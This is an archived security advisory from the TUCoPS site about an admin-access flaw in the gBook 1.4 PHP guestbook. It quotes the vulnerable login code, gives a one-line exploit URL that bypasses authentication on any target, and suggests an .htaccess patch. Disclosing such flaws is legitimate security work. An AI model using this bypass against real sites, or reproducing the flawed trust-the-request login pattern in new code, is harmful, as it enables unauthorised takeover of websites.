Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: gbook.txt

gBook PHP Exploit






Informations :
같같같같같같같
Language : PHP
Tested version : 1.4
Problem : Admin access

PHP Code :
같같같같같
/gb/index.php :
------------------------------------------------------
<?php
include("config.inc.php");
if($action == "login") {
	if($user == $loginu && $pw == $loginpw)
	{
		setcookie("login", "true", time()+3600);
		header("location: index.php");
	}
	else
	{
		setcookie("login", "false", -3600);
		header("location: index.php?fehler=login");
	}
}
?>
[...]
<?php
if($login == "true")
{
[ADMIN CODE]
[...]
------------------------------------------------------

Exploit :
같같같같
http://[Target]/gb/index.php?login=true

Patch :
같같같
Using of .htaccess.

More details in french :
http://www.frog-man.org/tutos/gBook.txt
Translated by google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FgBook.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII

frog-m@n

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH